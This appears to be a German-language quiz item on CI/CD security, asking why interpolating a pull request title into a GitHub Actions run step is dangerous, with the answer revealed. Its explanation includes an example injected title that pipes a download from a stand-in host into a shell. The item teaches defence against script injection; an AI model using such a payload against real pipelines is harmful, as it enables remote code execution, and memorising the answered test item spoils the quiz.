Docker und CI/CD · Senior · Frage 32 von 75
Was ist an run: echo "${{ github.event.pull_request.title }}" falsch?
- 1Ausdrücke können in
run-Steps keine PR-Daten lesen - 2Der Titel landet im Skript und kann so Befehle einschleusen
- 3Titel mit mehr als 72 Zeichen lassen den Step scheitern
Antwort zeigen
Richtige Antwort: Der Titel landet im Skript und kann so Befehle einschleusen
Erklärung
Ein Titel wie "; curl evil.sh | sh; " wird Teil des Shell-Skripts. Gib nicht vertrauenswürdige Werte über env: weiter und nutze sie als Shell-Variablen.